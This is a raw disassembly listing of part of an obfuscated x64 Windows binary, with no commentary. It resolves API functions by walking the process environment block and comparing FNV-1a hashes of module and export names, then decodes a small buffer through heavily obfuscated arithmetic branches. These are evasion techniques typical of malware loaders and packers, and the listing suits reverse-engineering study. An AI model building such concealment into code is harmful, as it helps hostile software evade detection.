mov al, byte [rbx]
test al, al
jne 0x14014840c
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148437
cmp qword [rdi + 0x30], r13
jne 0x140148308
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x1401485b7
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401484ce
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401484c0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401484af
cmp r8d, esi
jne 0x14014859b
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x14014859b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014859b
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148522
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140148517
cmp edx, r14d
je 0x140148538
test r9d, r9d
jne 0x140148502
jmp 0x14014859b
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1401485b0
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401485b0
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014857a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014856c
jmp 0x14014858f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140148582
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401485ad
cmp qword [rdi + 0x30], r13
jne 0x14014847e
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x140148724
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014863b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14014862d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014861c
cmp r8d, esi
jne 0x140148708
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148708
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148708
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x14014868f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140148684
cmp edx, r14d
je 0x1401486a5
test r9d, r9d
jne 0x14014866f
jmp 0x140148708
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x14014871d
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014871d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401486e7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401486d9
jmp 0x1401486fc
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401486ef
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14014871a
cmp qword [rdi + 0x30], r13
jne 0x1401485eb
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140148891
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401487a8
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14014879a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148789
cmp r8d, esi
jne 0x140148875
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148875
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148875
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401487fc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401487f1
cmp edx, r14d
je 0x140148812
test r9d, r9d
jne 0x1401487dc
jmp 0x140148875
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x14014888a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14014888a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140148854
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140148846
jmp 0x140148869
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014885c
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148887
cmp qword [rdi + 0x30], r13
jne 0x140148758
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x1401489fd
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148912
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140148904
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401488f3
cmp r8d, esi
jne 0x1401489e1
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401489e1
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401489e1
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148966
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014895b
cmp edx, r14d
je 0x14014897c
test r9d, r9d
jne 0x140148946
jmp 0x1401489e1
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r11
cmp r9, r10
jbe 0x1401489f6
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1401489f6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401489be
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401489b0
jmp 0x1401489d4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x1401489c7
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401489f3
cmp qword [rdi + 0x30], r13
jne 0x1401488c2
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140148a72
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140148a5a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148a3b
cmp r8d, 0x610c0de3
je 0x140148ac3
mov r9, qword [r9]
cmp r9, r10
je 0x140148a68
cmp qword [r9 + 0x30], r13
jne 0x140148a20
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x140148abe
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140148aa2
cmp ecx, 0xe463da3c
je 0x140148ac9
add r9d, r12d
jmp 0x140148a86
mov r8, qword [r9 + 0x30]
jmp 0x140148a6b
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140148c59
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148b6d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140148b5f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148b4e
cmp r8d, esi
jne 0x140148c3d
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140148c3d
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140148c3d
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140148bc1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140148bb6
cmp edx, r14d
je 0x140148bd7
test r9d, r9d
jne 0x140148ba1
jmp 0x140148c3d
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140148c52
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140148c52
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140148c30
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140148c0c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140148c23
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148c4f
cmp qword [rdi + 0x30], r13
jne 0x140148b1d
mov r10, r13
mov qword [0x1404fba00], r10
lea r9, [rbp + 0x11b4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140148ddd
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148cf1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140148ce3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148cd2
cmp r8d, esi
jne 0x140148dc1
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148dc1
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148dc1
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148d45
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140148d3a
cmp edx, r14d
je 0x140148d5b
test r9d, r9d
jne 0x140148d25
jmp 0x140148dc1
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, r11
cmp r8, r10
jbe 0x140148dd6
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140148dd6
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140148db4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140148d90
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x140148da7
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148dd3
cmp qword [rdi + 0x30], r13
jne 0x140148ca1
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [rbp + 0x1ca0]
call fcn.14008b580
mov byte [rbp + 0x40], 0xfe
mov byte [rbp + 0x41], Ordinal_50
mov byte [rbp + 0x42], Ordinal_200
mov byte [rbp + 0x43], 0x33
mov byte [rbp + 0x44], 0x34
mov byte [rbp + 0x45], 0xa9
xor eax, eax
mov qword [rbp + 0x46], rax
mov word [rbp + 0x4e], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x1e3d3b18808e33ba
movabs r14, 0x79553d89c8c4782e
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r11d, eax
cmp r11, 0x10
jae 0x140149719
movzx r8d, byte [rbp + r11 + 0x40]
mov r9, r8
cmp rdi, r11
ja 0x140149710
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140148eab
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x16
jmp 0x140148ee5
je 0x140149694
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140149611
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401495db
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401495b0
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140149560
cmp r10, r11
ja 0x140149707
lea rax, [r10 + 0x42]
cmp rdi, rax
jae 0x140148f19
movabs rcx, 0x7b05d9028baa3e42
add rcx, r11
mov al, r8b
and al, cl
mov edx, Ordinal_27
sub dl, al
add dl, dl
add dl, r8b
add dl, cl
jmp 0x140148f4f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014954f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014952f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014951b
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401494f5
mov dl, bl
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x1401491a9
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140149188
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140149162
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14014913c
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140149119
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140149105
lea rdi, [r10 + 0x400]
lea r10, [rdi + 5]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401496ed
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401496ca
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14014903c
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401490ed
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 4]
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x1401490d3
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401490b2
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140149091
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140149083
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140149062
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140148f5c
lea rdi, [r10 + 1]
lea r10, [rdi + 0x28]
jmp 0x140148f5c
movabs rdx, 0xf24a29ebcafd4716
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140148e7d
movabs rdx, 0xd82ec8145d51f210
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14014957f
lea rdx, [r11 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401495ed
movabs rdx, 0x6d5002ee56a78558
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x140149633
movabs rdx, 0x30d58cbd558b1de4
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x1401493d9
lea rcx, [r11 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1401496b1
lea rcx, [r11 + r13]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x4a
jmp 0x140149202
movabs rdx, 0xe223160f45fd758c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140149283
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x1401495fc
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401495ce
movabs rdx, 0x3ac9dab83e36a160
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401495a6
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x74
jmp 0x14014957f
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14014926b
lea rcx, [r11 + rsi]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x16
add dl, cl
lea rax, [r10 + rdi]
cmp rax, 4
je 0x1401494cf
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x140149310
movabs rdx, 0x349714d6a1e25352
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x3e
add dl, cl
cmp rdi, 0x28
jae 0x14014947d
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401493e0
movabs rdx, 0xaf9cedd92d8c9194
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xc
add dl, cl
cmp r10, 0x20
jb 0x140149471
movabs rdx, 0xc658bc338a89c1c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140149581
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014929a
movabs rdx, 0xf60bb20517547c84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401496b1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401492c7
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140149633
cmp rdi, rcx
jne 0x1401492ef
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x1401495fc
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401491cb
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x14014956f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014933a
movabs rdx, 0x71118b07a2febac6
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
jmp 0x14014957f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140149357
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_32
jmp 0x14014914b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140149383
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x1401495ff
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401493ad
movabs rdx, 0xdbf0502da9a9277e
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
jmp 0x140149633
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140149204
movabs rdx, 0x186ac65eaac58ef2
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140149662
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014940c
movabs rcx, 0xec17640a2ea8f908
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x38
jmp 0x1401496b1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140149433
movabs rdx, 0x2891da3b2fc5607c
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x1401493d9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140149450
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x1401492b2
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140149239
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x14014956f
mov byte [rbp + r11 + 0x40], dl
mov bl, dl
jmp 0x1401496bd
movabs rcx, 0x48e001f439c50390
add rcx, r11
mov al, r8b
and al, cl
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r11 + 0x40]
add dl, r8b
add dl, cl
movabs rcx, 0x671d3d0cba53374a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
mov bl, dl
jmp 0x1401495fc
movabs rdx, 0x855a78253ae16b04
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r11 + 0x40]
sub bl, 0x1c
jmp 0x140149633
movabs rdx, 0xe5e49e289254aafa
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401495ff
movabs rdx, 0xa96a27f791384386
mov ecx, Ordinal_46
jmp 0x1401495ea
movabs rcx, 0xf3fac5648de30d2a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x26
jmp 0x1401495a6
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x14014956f
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x40], cl
mov eax, 1
add r10, rax
jmp 0x1401495d3
movabs rcx, 0xc596766f885507e6
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
mov eax, 1
sub r11, rax
jmp 0x1401496c2
movabs rdx, 0x4ca18a0d861c38fe
mov ecx, 7
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401496bd
mov r8, r9
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x40], al
inc r10
add rax, r10
sub r11, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1401496b1
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
movzx eax, byte [rbp + r11 + 0x40]
add rax, r10
add r11, rax
mov eax, 1
add r11, rax
jmp 0x140148e6d
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x140148e68
lea rcx, [r11 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x140148e58
lea rcx, [rbp + 0x14ac138]
jmp 0x14014971d
lea rcx, [rbp + 0x118f4f2]
jmp 0x14014971d
lea rcx, [rbp + 0x40]
